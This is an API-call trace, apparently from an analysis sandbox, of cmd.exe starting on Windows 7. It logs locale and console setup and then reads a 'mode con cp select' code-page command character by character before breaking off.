0x2bc230 [0033.263] FreeEnvironmentStringsW (penv=0x2bb740) returned 1 [0033.263] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a4cc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0033.263] GetProcessHeap () returned 0x2a0000 [0033.263] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bb6d0 | out: hHeap=0x2a0000) returned 1 [0033.263] GetProcessHeap () returned 0x2a0000 [0033.263] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x4016) returned 0x2bcd20 [0033.264] GetProcessHeap () returned 0x2a0000 [0033.264] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcd20 | out: hHeap=0x2a0000) returned 1 [0033.264] GetConsoleOutputCP () returned 0x1b5 [0033.264] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a4cbfe0 | out: lpCPInfo=0x4a4cbfe0) returned 1 [0033.264] GetUserDefaultLCID () returned 0x409 [0033.264] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a4c7b50, cchData=8 | out: lpLCData=":") returned 2 [0033.264] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x14f520, cchData=128 | out: lpLCData="0") returned 2 [0033.264] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x14f520, cchData=128 | out: lpLCData="0") returned 2 [0033.264] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x14f520, cchData=128 | out: lpLCData="1") returned 2 [0033.264] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a4da740, cchData=8 | out: lpLCData="/") returned 2 [0033.264] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a4da4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0033.264] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a4da460, cchData=32 | out: lpLCData="Tue") returned 4 [0033.264] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a4da420, cchData=32 | out: lpLCData="Wed") returned 4 [0033.264] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a4da3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0033.264] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a4da3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0033.264] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a4da360, cchData=32 | out: lpLCData="Sat") returned 4 [0033.264] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a4da700, cchData=32 | out: lpLCData="Sun") returned 4 [0033.264] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a4c7b40, cchData=8 | out: lpLCData=".") returned 2 [0033.264] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a4da4e0, cchData=8 | out: lpLCData=",") returned 2 [0033.265] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0033.265] GetProcessHeap () returned 0x2a0000 [0033.265] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20c) returned 0x2b95c0 [0033.265] GetConsoleTitleW (in: lpConsoleTitle=0x2b95c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0033.265] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.265] GetFileType (hFile=0xf4) returned 0x3 [0033.265] BrandingFormatString () returned 0x2b97e0 [0033.269] GetVersion () returned 0x1db10106 [0033.269] _vsnwprintf (in: _Buffer=0x14f690, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x14f628 | out: _Buffer="6.1.7601") returned 8 [0033.269] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.269] GetFileType (hFile=0xf4) returned 0x3 [0033.269] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a4d6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0033.269] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a4d6340, nSize=0x2000, Arguments=0x14f630 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0033.269] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.269] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a4cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0033.269] WriteFile (in: hFile=0xf4, lpBuffer=0x4a4cc320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x14f5b8, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesWritten=0x14f5b8*=0x24, lpOverlapped=0x0) returned 1 [0033.269] _vsnwprintf (in: _Buffer=0x4a4d6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f658 | out: _Buffer="\r\n") returned 2 [0033.269] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.269] GetFileType (hFile=0xf4) returned 0x3 [0033.269] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.269] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a4cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0033.269] WriteFile (in: hFile=0xf4, lpBuffer=0x4a4cc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f628, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesWritten=0x14f628*=0x2, lpOverlapped=0x0) returned 1 [0033.269] _vsnwprintf (in: _Buffer=0x4a4d6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x14f658 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0033.269] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.269] GetFileType (hFile=0xf4) returned 0x3 [0033.269] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.269] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a4cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0033.269] WriteFile (in: hFile=0xf4, lpBuffer=0x4a4cc320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x14f628, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesWritten=0x14f628*=0x3f, lpOverlapped=0x0) returned 1 [0033.270] _vsnwprintf (in: _Buffer=0x4a4d6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f658 | out: _Buffer="\r\n") returned 2 [0033.270] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.270] GetFileType (hFile=0xf4) returned 0x3 [0033.270] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.270] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a4cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0033.270] WriteFile (in: hFile=0xf4, lpBuffer=0x4a4cc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f628, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesWritten=0x14f628*=0x2, lpOverlapped=0x0) returned 1 [0033.270] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d40000 [0033.270] GetProcAddress (hModule=0x76d40000, lpProcName="CopyFileExW") returned 0x76d523d0 [0033.270] GetProcAddress (hModule=0x76d40000, lpProcName="IsDebuggerPresent") returned 0x76d48290 [0033.270] GetProcAddress (hModule=0x76d40000, lpProcName="SetConsoleInputExeNameW") returned 0x76d517e0 [0033.270] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.270] GetFileType (hFile=0xe8) returned 0x3 [0033.270] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0033.270] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x14f480 | out: TokenHandle=0x14f480*=0x0) returned 0xc000007c [0033.270] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x14f480 | out: TokenHandle=0x14f480*=0x50) returned 0x0 [0033.270] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x14f490, TokenInformationLength=0x4, ReturnLength=0x14f498 | out: TokenInformation=0x14f490, ReturnLength=0x14f498) returned 0x0 [0033.270] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x14f498, TokenInformationLength=0x4, ReturnLength=0x14f490 | out: TokenInformation=0x14f498, ReturnLength=0x14f490) returned 0x0 [0033.270] NtClose (Handle=0x50) returned 0x0 [0033.270] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x14f460, nSize=0x0, Arguments=0x14f468 | out: lpBuffer="韠+") returned 0xf [0033.270] GetProcessHeap () returned 0x2a0000 [0033.270] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x218) returned 0x2a1ab0 [0033.271] GetConsoleTitleW (in: lpConsoleTitle=0x14f4b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0033.276] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0033.276] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0033.280] GetProcessHeap () returned 0x2a0000 [0033.280] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2a1ab0 | out: hHeap=0x2a0000) returned 1 [0033.280] LocalFree (hMem=0x2b97e0) returned 0x0 [0033.280] GetProcessHeap () returned 0x2a0000 [0033.280] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2baa10 | out: hHeap=0x2a0000) returned 1 [0033.280] _vsnwprintf (in: _Buffer=0x4a4d6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f198 | out: _Buffer="\r\n") returned 2 [0033.280] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.280] GetFileType (hFile=0xf4) returned 0x3 [0033.280] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.280] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a4cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0033.280] WriteFile (in: hFile=0xf4, lpBuffer=0x4a4cc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f168, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesWritten=0x14f168*=0x2, lpOverlapped=0x0) returned 1 [0033.280] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a4bf360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0033.280] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a4cc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0033.280] _vsnwprintf (in: _Buffer=0x4a4beb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f1a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0033.280] _vsnwprintf (in: _Buffer=0x4a4bebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f1a8 | out: _Buffer=">") returned 1 [0033.280] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.280] GetFileType (hFile=0xf4) returned 0x3 [0033.280] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.280] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a4cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0033.280] WriteFile (in: hFile=0xf4, lpBuffer=0x4a4cc320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f198, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesWritten=0x14f198*=0x26, lpOverlapped=0x0) returned 1 [0033.280] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.280] GetFileType (hFile=0xe8) returned 0x3 [0033.280] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.281] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.281] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.281] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0033.283] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.283] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.283] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.283] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0033.283] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.283] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.283] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.283] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0033.283] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.283] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.283] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.283] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0033.283] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.283] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.283] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.283] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0033.283] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.283] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.283] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.283] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0033.283] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.283] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.283] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.283] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0033.283] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.284] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.284] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.284] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0033.284] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.284] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.284] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.284] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0033.284] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.284] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.284] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.284] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0033.284] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.284] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.284] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.284] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0033.284] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.284] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.284] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.284] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0033.284] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.284] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.284] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.284] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0033.284] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.284] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.284] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.284] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0033.284] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.284] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.284] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.284] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0033.284] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.284] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.284] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.284] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0033.284] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.284] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.284] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.285] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0033.285] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.285] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.285] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.285] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0033.285] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.285] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.285] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.285] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0033.285] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.285] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.285] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.285] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0033.285] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.285] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.285] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, 